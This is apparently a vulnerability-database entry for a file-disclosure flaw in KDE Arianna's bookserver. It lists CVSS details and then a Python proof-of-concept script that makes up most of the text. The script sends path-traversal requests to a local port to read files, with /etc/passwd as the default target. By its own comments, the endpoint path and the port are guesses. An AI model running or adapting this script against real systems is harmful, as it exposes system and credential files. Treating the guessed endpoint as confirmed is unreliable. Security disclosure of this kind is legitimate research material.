bookserver in KDE Arianna before 26.04.1 allows attackers to read files over a socket connection by guessing a URL.
CVSS Details
CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
KDE Arianna < 26.04.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2026-42095 PoC: KDE Arianna bookserver information disclosure
# This script attempts to read local files by guessing the URL path on the local socket.
def exploit(target_host, target_port, file_path):
# Construct the malicious URL by guessing the path
# Note: The actual endpoint structure depends on the specific bookserver implementation
# Commonly it might look like http://localhost:port/files/../../../etc/passwd
url = f"http://{target_host}:{target_port}/files/..{file_path}"
try:
print(f"[+] Attempting to retrieve: {file_path}")
response = requests.get(url, timeout=5)
if response.status_code == 200:
print("[+] Success! File content retrieved:")
print(response.text)
else:
print(f"[-] Failed. Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
# Default target based on local vulnerability context
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 8080 # Placeholder, actual port needs to be identified
# Example file to read
FILE_TO_READ = "/etc/passwd"
if len(sys.argv) > 1:
FILE_TO_READ = sys.argv[1]
exploit(TARGET_HOST, TARGET_PORT, FILE_TO_READ)